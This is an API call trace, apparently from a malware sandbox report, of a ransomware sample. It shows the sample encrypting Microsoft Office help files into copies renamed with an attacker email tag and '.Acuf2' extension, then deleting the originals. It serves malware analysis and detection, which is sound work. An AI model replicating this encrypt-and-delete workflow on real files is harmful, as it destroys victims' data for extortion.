	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString=".1cd") returned 4
	[0262.270] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString=".jpg") returned 4
	[0262.270] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.270] lstrlenW (lpString=".doc") returned 4
	[0262.270] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.270] lstrlenW (lpString=".docx") returned 5
	[0262.271] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.271] lstrlenW (lpString=".pdf") returned 4
	[0262.271] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.271] lstrlenW (lpString=".xls") returned 4
	[0262.271] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.271] lstrlenW (lpString=".xlsx") returned 5
	[0262.271] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.271] lstrlenW (lpString=".ppt") returned 4
	[0262.271] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.271] lstrlenW (lpString=".zip") returned 4
	[0262.271] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.271] lstrlenW (lpString=".rar") returned 4
	[0262.271] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.271] lstrlenW (lpString=".bz2") returned 4
	[0262.271] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.271] lstrlenW (lpString=".7z") returned 3
	[0262.271] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.271] lstrlenW (lpString=".dbf") returned 4
	[0262.271] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.271] lstrlenW (lpString=".1cd") returned 4
	[0262.271] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72
	[0262.271] lstrlenW (lpString=".jpg") returned 4
	[0262.271] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.271] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.272] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24
	[0262.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.272] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0262.272] CloseHandle (hObject=0x35c) returned 1
	[0262.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20
	[0262.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.272] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.272] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.273] GetLastError () returned 0x0
	[0262.273] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0262.274] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.274] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.274] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x104, lpOverlapped=0x0) returned 1
	[0262.275] SetEndOfFile (hFile=0x358) returned 1
	[0262.275] CloseHandle (hObject=0x358) returned 1
	[0262.275] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.275] SetEndOfFile (hFile=0x35c) returned 1
	[0262.278] CloseHandle (hObject=0x35c) returned 1
	[0262.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 1
	[0262.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.279] lstrlenW (lpString=".doc") returned 4
	[0262.279] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.279] lstrlenW (lpString=".docx") returned 5
	[0262.279] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.279] lstrlenW (lpString=".pdf") returned 4
	[0262.279] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.279] lstrlenW (lpString=".xls") returned 4
	[0262.279] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.279] lstrlenW (lpString=".xlsx") returned 5
	[0262.279] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.279] lstrlenW (lpString=".ppt") returned 4
	[0262.280] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString=".zip") returned 4
	[0262.280] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString=".rar") returned 4
	[0262.280] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString=".bz2") returned 4
	[0262.280] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.280] lstrlenW (lpString=".7z") returned 3
	[0262.280] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString=".dbf") returned 4
	[0262.280] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString=".1cd") returned 4
	[0262.280] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString=".jpg") returned 4
	[0262.280] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.280] lstrlenW (lpString=".doc") returned 4
	[0262.280] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.280] lstrlenW (lpString=".docx") returned 5
	[0262.280] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.280] lstrlenW (lpString=".pdf") returned 4
	[0262.280] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString=".xls") returned 4
	[0262.280] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.280] lstrlenW (lpString=".xlsx") returned 5
	[0262.280] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.280] lstrlenW (lpString=".ppt") returned 4
	[0262.281] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.281] lstrlenW (lpString=".zip") returned 4
	[0262.281] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.281] lstrlenW (lpString=".rar") returned 4
	[0262.281] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.281] lstrlenW (lpString=".bz2") returned 4
	[0262.281] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.281] lstrlenW (lpString=".7z") returned 3
	[0262.281] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.281] lstrlenW (lpString=".dbf") returned 4
	[0262.281] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.281] lstrlenW (lpString=".1cd") returned 4
	[0262.281] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72
	[0262.281] lstrlenW (lpString=".jpg") returned 4
	[0262.281] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.281] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0262.281] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16
	[0262.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.282] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=636) returned 1
	[0262.282] CloseHandle (hObject=0x35c) returned 1
	[0262.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 0x20
	[0262.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.282] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.282] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.282] GetLastError () returned 0x0
	[0262.282] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x27c, lpOverlapped=0x0) returned 1
	[0262.286] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0262.287] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.287] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.287] SetEndOfFile (hFile=0x358) returned 1
	[0262.287] CloseHandle (hObject=0x358) returned 1
	[0262.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.287] SetEndOfFile (hFile=0x35c) returned 1
	[0262.289] CloseHandle (hObject=0x35c) returned 1
	[0262.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 1
	[0262.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.289] lstrlenW (lpString=".doc") returned 4
	[0262.289] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.290] lstrlenW (lpString=".docx") returned 5
	[0262.290] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.290] lstrlenW (lpString=".pdf") returned 4
	[0262.290] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString=".xls") returned 4
	[0262.290] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString=".xlsx") returned 5
	[0262.290] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.290] lstrlenW (lpString=".ppt") returned 4
	[0262.290] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString=".zip") returned 4
	[0262.290] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString=".rar") returned 4
	[0262.290] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString=".bz2") returned 4
	[0262.290] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.290] lstrlenW (lpString=".7z") returned 3
	[0262.290] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString=".dbf") returned 4
	[0262.290] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString=".1cd") returned 4
	[0262.290] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString=".jpg") returned 4
	[0262.290] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.290] lstrlenW (lpString=".doc") returned 4
	[0262.290] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.291] lstrlenW (lpString=".docx") returned 5
	[0262.291] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.291] lstrlenW (lpString=".pdf") returned 4
	[0262.291] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.291] lstrlenW (lpString=".xls") returned 4
	[0262.291] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.291] lstrlenW (lpString=".xlsx") returned 5
	[0262.291] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.291] lstrlenW (lpString=".ppt") returned 4
	[0262.291] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.291] lstrlenW (lpString=".zip") returned 4
	[0262.291] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.291] lstrlenW (lpString=".rar") returned 4
	[0262.291] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.291] lstrlenW (lpString=".bz2") returned 4
	[0262.291] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.291] lstrlenW (lpString=".7z") returned 3
	[0262.291] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.291] lstrlenW (lpString=".dbf") returned 4
	[0262.291] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.291] lstrlenW (lpString=".1cd") returned 4
	[0262.291] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64
	[0262.291] lstrlenW (lpString=".jpg") returned 4
	[0262.291] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.292] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0262.292] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16
	[0262.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.292] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=208) returned 1
	[0262.292] CloseHandle (hObject=0x35c) returned 1
	[0262.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 0x20
	[0262.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.292] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.292] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.293] GetLastError () returned 0x0
	[0262.293] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd0, lpOverlapped=0x0) returned 1
	[0262.293] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0262.294] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.294] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.294] SetEndOfFile (hFile=0x358) returned 1
	[0262.294] CloseHandle (hObject=0x358) returned 1
	[0262.295] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.295] SetEndOfFile (hFile=0x35c) returned 1
	[0262.297] CloseHandle (hObject=0x35c) returned 1
	[0262.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 1
	[0262.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.297] lstrlenW (lpString=".doc") returned 4
	[0262.297] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.297] lstrlenW (lpString=".docx") returned 5
	[0262.297] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.297] lstrlenW (lpString=".pdf") returned 4
	[0262.297] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.297] lstrlenW (lpString=".xls") returned 4
	[0262.297] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.297] lstrlenW (lpString=".xlsx") returned 5
	[0262.298] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.298] lstrlenW (lpString=".ppt") returned 4
	[0262.298] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString=".zip") returned 4
	[0262.298] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString=".rar") returned 4
	[0262.298] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.298] lstrlenW (lpString=".bz2") returned 4
	[0262.298] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.298] lstrlenW (lpString=".7z") returned 3
	[0262.298] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString=".dbf") returned 4
	[0262.298] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64
	[0262.298] lstrlenW (lpString=".1cd") returned 4
	[0262.298] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
